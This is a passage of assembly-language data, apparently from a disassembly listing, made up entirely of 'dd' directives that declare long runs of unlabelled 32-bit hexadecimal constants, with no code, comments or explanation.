		dd 98DA641h, 4E2BF19Dh,	445D0022h, 0D0718D5Bh, 0D709BBDh
		dd 827FC900h, 0B3493F85h, 0B69F0986h, 3C71619Dh, 58B950B2h
		dd 2DCD8525h, 0DA40A46Dh, 0E8DE46E9h, 0B509092Ch, 0E712E49h
		dd 50187B69h, 0B5128938h, 8E7291Dh, 0B36E5Ah, 0B3E8465Bh
		dd 16C5FEF7h, 826678Ch,	1AA56DBCh, 0F051B1h, 5773CF67h
		dd 63004BBCh, 41F5E369h, 2514EFFEh, 1DC286D0h, 8567462h
		dd 0CA315232h, 6CF154AFh, 2B50E118h, 0B691B866h, 9144BAFh
		dd 0D7F380D8h, 9AF10009h, 5E181CF9h, 0E40FC800h, 6143EF03h
		dd 699BB670h, 0B79DE87Fh, 2C1F0016h, 0AC22A18Ah, 8702B46Eh
		dd 0C88D9052h, 0FE734296h, 65D7413Dh, 81CFC8A6h, 0ACB0B97Dh
		dd 8A5AF025h, 442F7F7Eh, 2D2102C6h, 0FADAF46Ah,	0BC00FE79h
		dd 5ED17D79h, 58F7003Dh, 0C604EB55h, 86004532h,	80B535C9h
		dd 975B78CFh, 2BF5C1B1h, 0B6BF9434h, 0C8F2B0A9h, 0FC5700B3h
		dd 893AF5D2h, 1F4ADD8Dh, 4E25B7CEh, 230BDFDh, 0A5A42A7Ah
		dd 6B05FCh, 8B966ACh, 44BB04FFh, 0C5370A62h, 943BFC26h
		dd 0A0B4001Eh, 443BC974h, 0BD6709A9h, 0CFF0E018h, 4435F4Ch
		dd 1B06C012h, 15AC45B9h, 5A983E8Ch, 2D2D39Dh, 870F7671h
		dd 0DF64FAF6h, 80C37FACh, 0BD880BCBh, 14972821h, 0E19D12E3h
		dd 0D34CB929h, 0D330DAEAh, 98B380AFh, 0A8270CA2h, 0FA057D1h
		dd 0DD60E45Eh, 0A0F65700h, 0B464C426h, 0B9951089h, 655F2530h
		dd 0E95A15B9h, 1A142CF8h, 48AD47Ch, 2DCD9501h, 0F97D0913h
		dd 0EDA7DD5Bh, 0BC754087h, 0AD17BB61h, 8FE5C61Eh, 4AE8A330h
		dd 4AD7CFC4h, 0AE13526Ah, 0DEEB0BCh, 880FDB12h,	4F0057CAh
		dd 7CF54437h, 2A011719h, 7AA7485Fh, 92822440h, 0FEE9DD09h
		dd 0BFBD0057h, 126BD773h, 4C18B46h, 0EF311979h,	9A92A2A2h
		dd 0C8E5806Bh, 27D72DFCh, 135D7354h, 158817BFh,	0B79BC145h
		dd 8957C03h, 0B7A791BFh, 0F0A4831Ah, 206A0483h,	6C66B712h
		dd 7460040h, 8966D656h,	4125217Dh, 0E41F8972h, 0B1A007D8h
		dd 0B0840AF6h, 825CAD21h, 5F32F41Bh, 90040B6Ah,	75448D0Fh
		dd 1CE9BD14h, 35205B7Dh, 0B2B0CCh, 0E3207BCDh, 97909CE2h
		dd 0C9BBB807h, 6AC5E623h, 2F1DAF6h, 0FFBA4093h,	75ED5FCh
		dd 0CC844FDBh, 4EE4AC72h, 146BBAh, 0ACEF0651h, 509CC805h
		dd 4AB9DB76h, 0F429602Dh, 2301E42Fh, 0B957863Bh, 0D9545F6Eh
		dd 0A711D248h, 0E900105Dh, 0FC6C3F31h, 6757D407h, 0A848E44Bh
		dd 41C34C92h, 38C965C4h, 0CFE880E0h, 3F0379CAh,	86AF2EB2h
		dd 0D751A992h, 9D2B6002h, 80186821h, 42AA5EC3h,	3069B5C7h
		dd 7084E592h, 0FF6DD471h, 1BA202F6h, 0FBCB30h, 0F2AE7D64h
		dd 0B70FB333h, 386ED948h, 468DCB9Eh, 0AC64B93Eh, 494500B7h
		dd 99E6D8B9h, 0D11BFFBBh, 0D468A7B3h, 94A366B8h, 0B0373F46h
		dd 403F535h, 7FD754Eh, 998381D7h, 0C056022Ah, 275BFA28h
		dd 35D7026Ah, 5EEA8CEh,	0BD896987h, 51A8D2FDh, 0F520FAF8h
		dd 5F612F01h, 7B24B246h
		dd 48008790h, 301CC3BDh, 3EC5B0B0h, 2206C79Fh, 988A03B9h
		dd 5C1005ABh, 33040219h, 0B901C19Dh, 0A047D23Ch, 0C2947D03h
		dd 9E03CB8h, 4D95D5FDh,	50B3E0DCh, 9E2615FCh, 0A260CC70h
		dd 7DE68593h, 4E8E0FECh, 9E2FCD5Ah, 2B71B729h, 21065092h
		dd 0C1D516C6h, 47B07AAEh, 1B132E31h, 1B23226Ah,	1123600h
		dd 2C9BC7D4h, 9BD4E8Fh,	3E710229h, 43204DCBh, 0FE1C267h
		dd 0C44B388Ch, 76AF2091h, 0A9201848h, 0B76A7D1Ch, 5125B5B7h
		dd 6D0E6BBFh, 76F308Bh,	0E2FE3744h, 0E5D75E7Ch,	836943B1h
		dd 4B67622Eh, 7FBB5320h, 7BE70C15h, 0F9FAB05Fh,	0C470E627h
		dd 61751E62h, 3B138032h, 0CFD44996h, 564D0600h,	0EF8058BCh
		dd 0E45F132Fh, 0B8BD1C71h, 4D21BB4Fh, 0AC040116h, 0F94C809Ah
		dd 2539CC9Eh, 7CC256B7h, 55DF7181h, 75202EA9h, 41FDB501h
		dd 4C067C26h, 0F70B27F8h, 7E58D6A9h, 0FF1409B7h, 49859A60h
		dd 0C82BE7C4h, 2FDA40E1h, 0E9B71272h, 0C8E91891h, 38D7816Bh
		dd 4EE49284h, 5503988Dh, 853F2765h, 0C8BFAE23h,	0B0162EE5h
		dd 6071945Ch, 44C96785h, 92FC9700h, 7BBD70EEh, 6E0B1BB0h
		dd 8C852E59h, 0D700264Ah, 0C23DCB67h, 62D137B2h, 0CB9C2D0h
		dd 13648C5Ch, 21CE156h,	3121695Fh, 0F5812D85h, 8D8B5F51h
		dd 600392FFh, 7CC716A0h, 97CB7361h, 50496F11h, 26F9327Fh
		dd 0A5503C7Fh, 52B6FE1Eh, 3DE28A40h, 81110053h,	0EE05626Bh
		dd 0B90087E1h, 0BF82E93Eh, 1365E7FAh, 0B141BD09h, 24D34461h
		dd 0A96BC199h, 870F002Bh, 0BD0CA006h, 0F20E4ADDh, 71CD8466h
		dd 0C0E38100h, 34416C44h, 0C4415692h, 42E6FA10h, 0AC301DA2h
		dd 0C894124Dh, 7D7C915h, 0B4B932A2h, 9D0BEBA0h,	0A5C83431h
		dd 0B46A8012h, 3B69CB23h, 3714A402h, 0C0E9DF73h, 0E6F58010h
		dd 41099704h, 52147484h, 4686CCh, 7BB25E8Ch, 0CE7D447Fh
		dd 0B4887E00h, 0DA8A8389h, 128B90FCh, 0B2E297CFh, 16E5A6Ah
		dd 875F4F04h, 2070E857h, 3F849F31h, 0C9F25375h,	0FBB1DF00h
		dd 9FE42BFAh, 0D0C23B1Dh, 5A04A257h, 30827AAAh,	5ACC48B5h
		dd 4D2F661h, 0B06FBDBBh, 0F463B846h, 0F4B914EDh, 0EB00F4A1h
		dd 0CBBCD7C5h, 4AE9B531h, 246F419h, 445B388h, 0B99113BFh
		dd 9681B827h, 0E7AD1485h, 9C6BD6h, 6AFCF73h, 48CA892Dh
		dd 0ED106813h, 0C6F52525h, 8C959592h, 9F8F44A5h, 96808CD6h
		dd 0F41E8FEBh, 2B2C026Eh, 54E89106h, 45018879h,	0DA5571F8h
		dd 4EDB07CCh, 828CC457h, 8E5C5B01h, 29136451h, 1D25A5E9h
		dd 0ABC3439h, 80D97004h, 0AAB894C7h, 399604D2h,	0E1FF0420h
		dd 0B024B6EEh, 48F673C0h, 0D418A294h, 5CE1E28Ah, 0C561D325h
		dd 0D3FD10CBh, 0C004CFBFh, 6577F722h, 25AC9806h, 97907C9h
		dd 9659E5C6h, 0CB6525BDh, 0FC219F1Ah, 9302DCDFh, 0D98BF9CBh
		dd 25D1DC60h, 0C953C562h, 5CCD0B70h, 1F3BC751h,	0AEC05B25h
		dd 19708501h, 0AE895A8Ch, 0DA04067Ah, 0C201B5FBh, 37E0D8Eh
		dd 5AF05B25h, 2EA0C938h, 561A8869h, 7B7BEBDFh, 5AD01450h
		dd 32BCC1FCh, 0C0D2283Ch, 42176140h, 86A10046h,	558153EDh
		dd 2048C6Ah, 0E14E9776h, 902D8DE8h, 1DC5FE6Dh, 4E34AB80h
		dd 6A13255Bh, 0E87816D3h, 4BA37395h, 9E8B206h, 80A21102h
		dd 5F45C52Bh, 0DF901FDh, 0FBAB666h, 15313F8Fh, 5B02254Dh
		dd 99030D51h, 0E0212DEEh, 7AF9E9Ah, 6268D98Ah, 66DEC026h
		dd 124B3ABFh, 0DD9D0DC0h, 31210430h, 0AD26B195h, 0C5E6D211h
		dd 0EC0C26E0h, 30A9A0C4h, 6BDC2DAEh, 0F113546Ah, 43AC30E6h
		dd 1F48ADCh, 0FE373900h, 75A97205h, 18E5037Eh, 5EE99878h
		dd 2FF10FCh, 0B3522DF7h, 5CA0E210h, 0B7D7A724h,	6D1E0B02h
		dd 644010BAh, 0CC4B7BD7h, 812B4BCDh, 1708552Eh,	0D161D673h
		dd 405E56B5h, 0BB347380h, 93022CF6h, 0F09A26Fh,	80228182h
		dd 982BD9E3h, 8ADD06F4h, 0E5290212h, 9579A043h,	23B416C7h
		dd 0BAC364AEh, 0CE12046Ah, 0FD5E096h, 0B1528A5Bh, 1091A412h
		dd 0A0C0D0BBh, 0AA964D5Fh, 537137BCh, 0A0179B97h, 0BA998D89h
		dd 685B021Dh, 71EB6CDBh, 58251EF4h, 7A6FE2C4h, 7812BBF4h
		dd 0D9022876h, 0B02D37FEh, 69FD5C0Dh, 4800C8E4h, 683865Fh
		dd 459EFB9h, 994B62A9h,	0B4C48450h, 3909D7A0h, 304AEC9Eh
		dd 5C8D0FB7h, 0F8C66D03h, 2EE9C061h, 0E547CF2Dh, 0E0AC51B4h
		dd 737F46A2h, 8C9D032h,	6A959097h, 9D4FF6DEh, 0D4F28BDCh
		dd 1E25104Bh, 53EAE95Fh, 0C7F49825h, 81765CE8h,	0BEBF1C1Ch
		dd 0DE13E4h, 7CB0363Dh,	0BAA4918Ah, 1497FEE8h, 57A4F1C4h
		dd 0C3F16069h, 0D2009130h, 9A73A4F8h, 0E19E108h, 295776C2h
		dd 9AB3F454h, 9D334705h, 23F8213Dh, 12EB1B1h, 252BEFB7h
		dd 0BC60B9D1h, 506D27F8h, 3134117Fh, 82281170h,	5EDA3255h
		dd 0B7AC42C8h, 0FA4E9F4h, 0E4A0FB13h, 6869EFD9h, 0B00038B8h
		dd 4D7B182Eh, 97F6E780h, 38871FB1h, 4324D3F2h, 89CF5DACh
		dd 39162D84h, 142E6A7Bh, 118557E3h, 0DD4A26D5h,	4CAC3F5Ah
		dd 920405FCh, 0EE7E3C7Dh, 5CE43382h, 1846D65Ch,	3816C94Fh
		dd 627D80D8h, 0B07003D7h, 4B2F9863h, 0DAA975A4h, 0A03C8055h
		dd 95D19D23h, 13968B66h, 598800DCh, 0CD304FACh,	66B0FD01h
		dd 9522F520h, 8D62958Fh, 0F91426B5h, 852F09D8h,	54EF8100h
		dd 8113FFF9h, 4A7CFE0Fh, 9B415F40h, 0AF2A9260h,	0B501C50Ch
		dd 0A37577F4h, 0A3E89487h, 96582020h, 130222ADh, 0C8505B57h
		dd 0B376603Ch, 17301900h, 0FAB2D70Bh, 43081C9Ch, 0E6969688h
		dd 0E4BFE0FBh, 1EA814F3h, 100035E8h, 765AA1D2h,	0EB0E72DFh
		dd 8114288Bh, 5F559BA5h, 2D299F58h, 6D09119Dh, 58A5BD59h
		dd 979495C7h, 2BE15B70h, 5ECFFCDBh, 0E771BA80h,	0ECA4E8A2h
		dd 5C36B105h, 0D1A2F11Dh, 0D96D8700h, 1C06EC09h, 3C74250Bh
		dd 51445D5Bh, 0C0EE5258h, 0E5533126h, 4B7D00DBh, 0AC8374E2h
		dd 50125FB9h, 0DB8DAB7h, 0A4CDF525h, 0EA601864h, 0A8018CF8h
		dd 0B589F551h, 8B6B0C75h, 0B2DA4B0Ah, 38083B80h, 1D13F811h
		dd 9420820Fh, 417D9D03h, 325B7005h, 21C91697h, 94918C1h
		dd 449059E9h, 78175341h, 292B27A5h, 84DA2E6Dh, 66EB3F80h
		dd 0D90236F4h, 9F355B8Ch, 445AFCC6h, 0C4F21C33h, 4E9E5517h
		dd 6AF4EB81h, 611848BCh, 0BBC1CB1Dh, 0C55D0F09h, 0A538732Ah
		dd 7840C36Dh, 0B6934E9h, 0DA8BC55Eh, 740EFD8h, 77B0BF50h
		dd 0F04AAABFh, 0AB61116h, 6EA6EE0h, 1ADBF224h, 5D29D10Ah
		dd 3D8D163Ch, 531C72C6h, 0E661C1F9h, 0FAD60BDAh, 0F8DC387Ch
		dd 6E5C3E39h, 6EBBAE9Eh, 28610848h, 65F45B18h, 0B0C08210h
		dd 5F25F12Ch, 0B70AC237h, 0D5998390h, 31B14743h, 16562ABDh
		dd 0A2140FA5h, 3FB85FF9h, 0DE74F49Fh, 0E30CCB06h, 124078AEh
		dd 0B370D780h, 515124EAh, 5FAF6919h, 0AA00A633h, 0AB477243h
		dd 9C002721h, 333B5EA7h, 1BECE32Ah, 2B830F60h, 0EAF2EF84h
		dd 0B75F6112h, 519A5BEBh, 14E9A1C2h, 5D2E6F20h,	0B0FD0034h
		dd 76A83BBDh, 600D31Dh,	8A46DD89h, 1759EA83h, 4E558531h
		dd 9B73FFA7h, 0F0F98066h, 92AE580h, 4B6CE605h, 4C442371h
		dd 29109F50h, 26A1F23h,	35D88297h, 0D1D78225h, 442100E5h
		dd 0A7BFE5AFh, 1812C7F4h, 115680EAh, 4F7EDBF0h,	146898A8h
		dd 887A88h, 0EA88390h, 1B6EBD75h, 36825600h, 0DEBC1CEFh
		dd 0E37F04F0h, 0AC0DC7E9h, 48E4B2DBh, 27BB66ACh, 0FE714AB2h
		dd 0E2820A80h, 23D5F85h
		dd 0D82A268Eh, 0BAD594C1h, 9662B5E4h, 262788FAh, 40B3A300h
		dd 33870BE7h, 539E0636h, 96816AC8h, 21E2882Eh, 0D9800F09h
		dd 92DA95D5h, 6D1AC15Bh, 565F0229h, 0CF53C9F8h,	7B18D727h
		dd 334091BDh, 0DDDF0481h, 0AC18A57Eh, 8DE2D3B7h, 0DC2E6C03h
		dd 0A0F7CA87h, 0BA936933h, 0FB1F3B05h, 0C8E1BE18h, 0FF27A362h
		dd 6DC3254Dh, 0BF5498B5h, 58DF2F9Ch, 38574262h,	73E1B2h
		dd 0C5384C41h, 0A9B52906h, 99972F5Eh, 7EB98D77h, 0C600F4BAh
		dd 3A8F4756h, 4A858960h, 0E25B13EDh, 0C1880776h, 17E06AA4h
		dd 9E5EEFB5h, 0B6FA1203h, 901622F2h, 0F0920EEh,	8510B061h
		dd 0AC3F2DC5h, 0F6538AD1h, 5B0C3E04h, 0F627DDADh, 2BDB3591h
		dd 0DE8BD444h, 0F84732ABh, 8718AC2h, 10EF0E3Fh,	132D0011h
		dd 0CA3EA8h, 0D6BC5402h, 6BFB707Ch, 0D6362C24h,	13318108h
		dd 8A61095Bh, 1F7DD630h, 0FE7E1A83h, 9A006461h,	805F4BDBh
		dd 0F9C4404Ah, 0FE0C8AE7h, 0D199C82Bh, 321032B6h, 986BE927h
		dd 0D6B76E16h, 446F7B5Fh, 0B2014A4Fh, 0D039241h, 1649F9A1h
		dd 0B811154Eh, 859DC242h, 0F9ED0F23h, 0EB81C016h, 0E2B55309h
		dd 45E25A0Eh, 79749811h, 0C544E9DDh, 0AA953117h, 252A6AE5h
		dd 0D9AF04E0h, 88DBAC5Fh, 0D54CA52Bh, 9589FBC6h, 0C01D9CC2h
		dd 0FB9E8EE5h, 76C74902h, 403C1682h, 12398359h,	0B6648F11h
		dd 8CDA10BDh, 8808AD40h, 9D160B52h, 43EC0199h, 0AA16A892h
		dd 0B7E5F700h, 5FB931ABh, 5B70F4Ah, 992AB0A7h, 85FEC777h
		dd 3DDBB04h, 0C1AC474Dh, 88BC7B4Dh, 9D891F09h, 5C202B39h
		dd 11446925h, 0E2007FEAh, 0D4D36B60h, 248A9059h, 2C2629FCh
		dd 2A89A56Ah, 3AF418FEh, 8D17A283h, 0ED660A3Bh,	0BF6680C2h
		dd 0D22BE8A8h, 0C00F6A6h, 0F8A5F602h, 7F3D1h, 0A7CDA63Dh
		dd 335250A9h, 70B1134Fh, 7BD36D2Ah, 0A200946Ah,	7D08E659h
		dd 0F913B3EAh, 2805E3ABh, 11F69CCCh, 4FF319E0h,	0C59D2B08h
		dd 0EA42250Fh, 1F4C2FEh, 0ABBFF9AAh, 6B698937h,	259D7098h
		dd 775B3315h, 0A9BD08BEh, 19C7C30h, 0E68C5AD4h,	0A974E012h
		dd 53B35837h, 48028711h, 5CA4A7Ch, 505B2E24h, 0A74ABE8Eh
		dd 54530BE6h, 33EC8D4Ah, 0E53F003Ch, 7403BB0Fh,	0E1FF265Fh
		dd 32690966h, 4C709A56h, 6E408204h, 1812079h, 951985D8h
		dd 4E69B59Ch, 0D0487633h, 0BA096660h, 56612248h, 14F75991h
		dd 7AE01BA6h, 0C7E8EE77h, 0B5BD3308h, 0C1BB0010h, 601CE05Bh
		dd 25DC8BB6h, 0EB62B1B5h, 4ADC4FDEh, 0EAE4C485h, 0F703FF6Eh
		dd 0BD0B8817h, 3F40EB8Dh, 826839E3h, 8249776h, 0B9845326h
		dd 6BD2E6A9h, 97AD02EEh, 0D9B35EAFh, 0EACE00F4h, 0FE4DBE6h
		dd 35F1BA95h, 2F0789ABh, 357F8381h, 1417350h, 64BE4DFEh
		dd 71E85E16h, 0B8470039h, 0A33DF268h, 5001FFD0h, 0B0BFB5A8h
		dd 0D5DE4B3Ch, 681F2851h, 0AB725E46h, 2BC7255Ch, 0A54A8560h
		dd 0D354AC25h, 0D3DB7021h, 0F22AEEFCh, 3F1C5573h, 34C0DAA3h
		dd 74F4EC97h, 0F07100ADh, 1C9B6688h, 3B7441A8h,	0A780F099h
		dd 3C607D6Eh, 8E8000F3h, 5F0F49D3h, 13F0CE47h, 6E5B2D25h
		dd 0AFED97D0h, 0AC29D44Bh, 0E3DF122Bh, 126C4C2Ah, 0DAB70845h
		dd 1ADE90Ch, 0B1209D23h, 0A5129517h, 0DEA2DEh, 3F65967Fh
		dd 49A6F1E9h, 0DA78BF04h, 0A4AC3D31h, 6AFD2BC9h, 609F5402h
		dd 33299509h, 956C6EB5h, 57C04CEDh, 274830A4h, 0ED580689h
		dd 0F1EDAF25h, 0D302BDD9h, 254CC3Ch, 0ED25A145h, 6A384086h
		dd 8B95E351h, 0C037EDB7h, 7478B4A9h, 19A60100h,	0E5BD8B09h
		dd 30A7BF30h, 2DD3E066h, 85580F50h, 0F3FECF23h,	4EB87CEDh
		dd 3BA99002h, 562D6FE4h, 753D2DC2h, 8D9E4881h, 4D303EF6h
		dd 256805DAh, 1CFCDEC6h, 0D22821BDh, 40313DFEh,	33EDE603h
		dd 16C0CA2Ah, 10F0F9B7h, 68908118h, 5855B09h, 1E62F905h
		dd 5B7CEDBCh, 33B5C0FAh, 2C5A059Dh, 973101C8h, 0B5BD8596h
		dd 5F32009Dh, 53DBD340h, 90D17705h, 0E7998C0Fh,	0D9BFCD00h
		dd 9B614F5Fh, 32D380FEh, 350FAD90h, 0B81B0C8Eh,	0E8B08058h
		dd 25DE908Dh, 24C5387Ch, 29E4F4A8h, 12CF6795h, 0B126E73Eh
		dd 62AFFC1h, 1B34E9F5h,	658D0F2Fh, 0CC1D0012h, 7C3C9B46h
		dd 60549600h, 0E62DA5ADh, 1E1D9784h, 0F3FCDB79h, 0C55F5C67h
		dd 63DE41C0h, 8C055452h, 0A3E72844h, 3E6EAFh, 0EA722CE7h
		dd 9F8BAD12h, 852E5514h, 30A3B01Ch, 3A0DBC58h, 0B396BA8Bh
		dd 0E15BAC66h, 880F03EBh, 4812C215h, 1CDDDE40h,	9CDAC59Fh
		dd 0B1092165h, 0F4F8542Eh, 75C71B50h, 17BA5F09h, 0D64E56F8h
		dd 0AB021846h, 78596C3Ch, 914CB5D5h, 0EBB28018h, 70F404Bh
		dd 463DC781h, 8F96776Dh, 5078221Ch, 0AD95290Ah,	350961Fh
		dd 1C6D25BDh, 0FC9F6ACEh, 0D400D652h, 0B1F676E3h, 222884Ch
		dd 8D09EBCDh, 8F5C28DDh, 0D406565Ah, 31D72104h,	29ABDD95h
		dd 930268E8h, 0EFB0A1ECh, 1E3CABEEh, 7F8C4B78h,	0BDBDEE56h
		dd 68D4A62Bh, 19F98DE1h, 0DA3B642Eh, 35EBC04Dh,	0A09C9F2Fh
		dd 97322DC4h, 38F43812h, 9E50BDCh, 3202A120h, 575C32D5h
		dd 657229E7h, 8EA11434h, 788823F1h, 9208DE49h, 0E98D99DBh
		dd 6A08CD58h, 0BA4F948Bh, 3800183Fh, 73AC3D85h,	0BA0125A2h
		dd 9ABB665Dh, 2830531Eh, 965B09FBh, 6E050DB7h, 2425EE56h
		dd 6E28E4AFh, 94381500h, 6971E4B5h, 7A69811h, 0B35192D1h
		dd 2C707976h, 0C102CFB7h, 2EA49202h, 30AE4434h,	9C773886h
		dd 9ED71700h, 0ADC9AE82h, 9B5C01B4h, 0D48170C2h, 0BD31E447h
		dd 25C24949h, 1161C561h, 0B4F8683Ch, 419C508h, 0BBE3B396h
		dd 395FF641h, 8405104Ah, 7E11FF07h, 90D3BCE8h, 18FD2D2Ch
		dd 17792B5Bh, 0D812CE18h, 3AE7F2E5h, 6DACFC49h,	0B5890D1Ch
		dd 0C4A925D6h, 58C18BCh, 329B6C16h, 9564AA48h, 28710481h
		dd 38938F6Ah, 12B75B7Ch, 75A310A0h, 0E673300Bh,	402E7E89h
		dd 886E78BFh, 82AD2F4Ah, 198C15ACh, 0D429D9A1h,	0DCC6022Fh
		dd 7B04F481h, 0D068FE3h, 56CEC581h, 52852D2Eh, 0B541FECFh
		dd 0C2C42A4Eh, 0E2E00AE6h, 7F25C4CFh, 9AE417h, 0AE9575D6h
		dd 4D20C59Ah, 943C038h,	37C18B6Fh, 0A2C19374h, 0BDC93B77h
		dd 223F1Bh, 0D08C8001h,	2519FBCEh, 0E0CEEA14h, 0BD49596h
		dd 4C7475FFh, 0EC476457h, 61249FB7h, 7F2DF1DEh,	6B8457DBh
		dd 0C280AD96h, 0DD818589h, 35AD14F1h, 287D051Fh, 5A6AF26h
		dd 3F7830F7h, 5717F702h, 56052530h, 0A902DABFh,	55D61BD8h
		dd 0E2E0336Dh, 24A8DF2Ch, 26D8BE4Ah, 0D31E12D6h, 0FB5AD5BDh
		dd 6BF524EEh, 12BA5ADBh, 91BC0EA1h, 495310h, 601D8558h
		dd 0E583AE9Ch, 0BD292E0h, 48950BBh, 0DDEED5Eh, 8652D54Eh
		dd 0FF11403Eh, 0BA78E380h, 8A1D37BDh, 128BA235h, 0D20CB9DAh
		dd 0C785C49Ah, 4560AB96h, 13D1FFFAh, 56999589h,	0A545A898h
		dd 0F62752EBh, 6F13E00Bh, 0BD7A0A22h, 0CC6620Dh, 2C52D85h
		dd 5FB79Dh, 0E578FB3Fh,	0FC253652h, 909AFA90h, 0D2C29560h
		dd 2565F97Fh, 1809C56h,	0BB82CDE3h, 906120B4h, 7C2AB92Eh
		dd 0B09BB50h, 6065C069h, 0ED078CC4h, 71B5EB44h,	5B0CB7A1h
		dd 9C2FE24h, 0F7E96159h, 0E271D956h, 0B6609424h, 2144091h
		dd 0DC2449AEh, 0CD117EC8h, 0B5316107h, 0E9545BC9h, 402F5EE9h
		dd 53C31A7Dh, 10909F00h, 0A6C7708h, 2E57F4D2h, 3E8E80B3h
		dd 222A88CEh, 0EA0EB700h, 0E913FCA6h, 3C6F034Dh, 425C6DF0h
		dd 58AAC7h, 0E1B352D0h
		dd 9F00E8D2h, 0FD3E65DFh, 0C7DA442h, 0EE6CDB6Eh, 8BA656F6h
		dd 76EDBB07h, 56DB3C88h, 5FEA6E31h, 0C6589B1h, 2111457h
		dd 7204E381h, 945554FCh, 582893EEh, 0A0726031h,	3280392Eh
		dd 27339508h, 490570E4h, 0F4917A8Eh, 5E3AB6AFh,	0BEA3EBE6h
		dd 1799DA19h, 3723FF45h, 0D7509400h, 2DB4FC61h,	7D067F02h
		dd 0E0CAEF80h, 0A61C7578h, 0F1C3044Ch, 0B9360B78h, 410A88ECh
		dd 928EDB5h, 1762E230h,	470E69Ah, 723153Fh, 0BFE171E4h
		dd 482E7DE7h, 0AAA4E8EEh, 572BA109h, 1DF12630h,	39D29C8Eh
		dd 52D9C125h, 4A0A400h,	4BB565h, 0EBFBF09Ah, 8A601F72h
		dd 7CE8D528h, 8EB4470Eh, 699040FFh, 905F7102h, 4E93E78Dh
		dd 27AA204h, 5303682Fh,	994655DFh, 0C0EE7125h, 71DB80F6h
		dd 448F972Bh, 60D18DDCh, 52CC9ECh, 647AB809h, 0AF48B58Bh
		dd 0CEE9D23h, 4922F9Ch,	0A512C7E2h, 2B61AE33h, 3C0D2F09h
		dd 0E4D24AC0h, 0E9FC2106h, 536BA545h, 0B56034B9h, 51A70130h
		dd 649DA524h, 0C02853E3h, 0E1094927h, 1A32E95Bh, 0FA598451h
		dd 5B00C5C4h, 0F0037FBBh, 2569B652h, 3920E06Ch,	75CAC49Ch
		dd 2531BB0Ch, 0DC2A1EADh, 0F27F59Dh, 0B34E682h,	42B92C28h
		dd 81F6BE42h, 0BEA995DCh, 21155C02h, 0C451EF0Eh, 46C1D88Ah
		dd 6770C02Bh, 0BA96A98Dh, 0A9D33EAFh, 7F2E3FD1h, 31B236Bh
		dd 0BF692764h, 0FACCD1D8h, 144F2B8h, 9D0B12F9h,	8A9D2245h
		dd 14A36655h, 0CE2F3EC3h, 880DD909h, 7F602AD1h,	9512D48Fh
		dd 17644E6Dh, 0F8D9BA60h, 1008154Ch, 0BB02347Dh, 10FA9024h
		dd 114EB555h, 7092000Bh, 0CD167531h, 8EBE0917h,	0AE44D561h
		dd 0F6A70400h, 287B9570h, 45C80164h, 3C9C6EA4h,	264336Fh
		dd 0B31B91EBh, 514D5CD8h, 59BF1094h, 4E2E27F5h,	0F63C6A8Ah
		dd 11EF18C0h, 954A5BFCh, 35AF755Bh, 8B380068h, 0D43EAA47h
		dd 0D335A2Eh, 205F3210h, 82423BE4h, 0E9C2EA07h,	45202E1Eh
		dd 1E6FDBAh, 0B96E2B94h, 3EE866C7h, 1109508h, 0E9E1FF5Bh
		dd 0B82D1313h, 398D404h, 0E695FDA3h, 0BD8C8BCh,	0BB098DD5h
		dd 71F37889h, 525044B3h, 5E88A7B2h, 3985C5A1h, 81EA43A0h
		dd 25A1BD90h, 0A3292B0Bh, 0FF3B5AFFh, 0AE5BF16Bh, 8F0F4761h
		dd 7C524142h, 45B1327h,	4313ED70h, 0CA2960DAh, 56506A71h
		dd 0B25E3E97h, 0F94B76E0h, 95318380h, 0CC2AE729h, 97865567h
		dd 5D43C84Dh, 14B990A5h, 2E62094Ah, 0E0535A3Ah,	6F181859h
		dd 0DFCAAD02h, 758B0F66h, 5451D519h, 0CF82ACB7h, 870473F9h
		dd 5B072BD9h, 0C7819990h, 205F82A0h, 6EF5D8DEh,	0C09C73DBh
		dd 83C50F8Fh, 0D2EBBFCFh, 0EB0B586Ch, 7D6AB9B7h, 67C072EDh
		dd 9AEA8Ah, 68B6B379h, 255BCEEDh, 31FE4B7h, 0AC9ACFB8h
		dd 9DB10286h, 0B9017F46h, 2544CD12h, 10D9F541h,	69AB2D2Ah
		dd 26A8CDh, 61DAE570h, 0F6B0DB81h, 0C675F225h, 0F3F6C258h
		dd 80A0109Dh, 3BE93431h, 0D3BD0B95h, 4C0E7043h,	392F7F00h
		dd 81288F25h, 83CD00E7h, 0BA603AD4h, 0D027D7DBh, 955FD001h
		dd 61C08E9Ah, 29802A51h, 0C4755BB5h, 0D472ACB4h, 1525121Ch
		dd 0DA4A72E7h, 0C114C86Ch, 2606892Fh, 503AF072h, 215D251Dh
		dd 1A59FF73h, 0A7FC6D18h, 9B36560Bh, 0A063710Ch, 5F52590h
		dd 352D3E5Bh, 48E10934h, 454E9864h, 6CC40AE2h, 0FF08BF32h
		dd 815B0734h, 0E8DDC1DFh, 2FC97A3Ch, 52880994h,	0F107E54Eh
		dd 0B70406FEh, 0B7EDF88Bh, 0E999D4C0h, 2BB0245Bh, 0A56625FDh
		dd 0C074EDB7h, 0E54B0E06h, 0CC574303h, 66A180h,	6852EBDCh
		dd 0DB952878h, 0C0090A6h, 7BF4B10Eh, 7A9329h, 7D0B75A4h
		dd 5FFA8BBBh, 87BA0197h, 8BD289DBh, 0B1617D9Ah,	0C3E62A8Dh
		dd 80301AA2h, 0A70A012Bh, 9267DACh, 44907985h, 5FE460C1h
		dd 61DE8B14h, 0FA8A16BDh, 0BB9686ADh, 7AC125CFh, 0C0C67210h
		dd 0A8059688h, 0B18D2B60h, 0CFB5F791h, 956EC43Fh, 0BC86BD4Eh
		dd 0F0DF4B31h, 0CB039DFh, 200DBD17h, 0E29DBFECh, 4AE8605Ch
		dd 4D5CE50h, 615FBEF1h,	0BBF638ABh, 6744CC21h, 89F30925h
		dd 16C845D0h, 0ACF56F5Ch, 0A6D7FABDh, 0E237A0C8h, 0AD850428h
		dd 0AD870F38h, 22994C3Eh, 81A8B10Ah, 85232E9Dh,	0B6282EF6h
		dd 0B77BC5A0h, 91CB2CDDh, 0D2B62EFFh, 3EDB5000h, 5BA8461Bh
		dd 0A6986102h, 7FC4BBF2h, 9D40D095h, 59453EAh, 0B5DF6F66h
		dd 4A18B83Dh, 0DA3BA4DDh, 65D69DDEh, 9CF1C8FBh,	9E26FA00h
		dd 683F5E83h, 5A17F33h,	8AB8C973h, 9563C1C5h, 92947AC1h
		dd 74AFD0C0h, 8D4B4B9Ah, 0CD8C4324h, 0A8DD274Ah, 0C276A6Ah
		dd 54DFB23Ah, 0F21401Dh, 4DDBB73Fh, 8D0104D1h, 3EA90209h
